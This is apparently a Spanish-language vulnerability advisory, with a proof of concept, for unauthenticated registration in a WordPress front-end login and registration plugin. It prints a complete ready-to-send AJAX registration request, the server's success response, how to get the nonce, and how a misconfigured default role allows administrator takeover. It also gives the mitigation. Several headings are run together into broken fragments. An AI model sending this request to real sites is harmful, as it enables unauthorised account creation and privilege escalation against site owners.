nxploited/cve-2025-47646WordPress PSW Front-end Login & Registration Plugin <= 1.12 es vulnerable a Autenticación Rota
Este plugin expone una falla crítica en su mecanismo de registro.
Si bien ofrece un formulario de registro front-end basado en shortcode ([psw_registration]), no aplica restricciones de rol adecuadas ni una validación segura.
Los atacantes pueden explotar este mecanismo para crear cuentas sin autenticación y, si el default_role del sitio está mal configurado (por ejemplo, establecido como administrator), puede ocurrir una escalada completa de privilegios.
POST /wordpress/wp-admin/admin-ajax.php
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {Host}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 233
Origin: {Host}
Connection: keep-alive
Cookie:
Priority: u=0
first_name=nxploited&last_name=nxploited&new_user_name=nxpl3432oited&new_user_email=NxploitBot%40gmail.com&new_user_password=admin&new_user_password_confirmation=admin&action=register_user_front_end&psw_form=75a32ef38d
psw_formes el campo nonce requerido para que la solicitud pase.
Este nonce se genera dinámicamente a partir del shortcode[psw_registration]en el front-end.
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<h4>Hello nxploited nxploited</h4>
<p>Thanks for creating an account on our website. Please check your email for activation link...</p>
register_user_front_enddefault_role de WordPress para asignar roles de usuarioadministrator), el atacante obtiene acceso completoPara exponer el formulario de registro y generar un nonce válido para psw_form, se utiliza el siguiente shortcode:
[psw_registration]
Esto renderiza un formulario de registro que incluye el campo nonce oculto necesario para que la llamada AJAX tenga éxito.
default_role a un valor seguro (por ejemplo, subscriber)Este informe es únicamente con fines educativos y de pruebas de seguridad autorizadas.
La explotación de esta vulnerabilidad sin permiso puede violar límites legales y éticos.
NXploited (Khaled_Alenazi)